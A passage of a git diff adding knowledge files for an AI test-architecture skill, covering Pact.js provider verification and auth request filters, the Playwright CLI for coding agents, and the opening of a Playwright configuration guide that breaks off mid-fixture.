+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
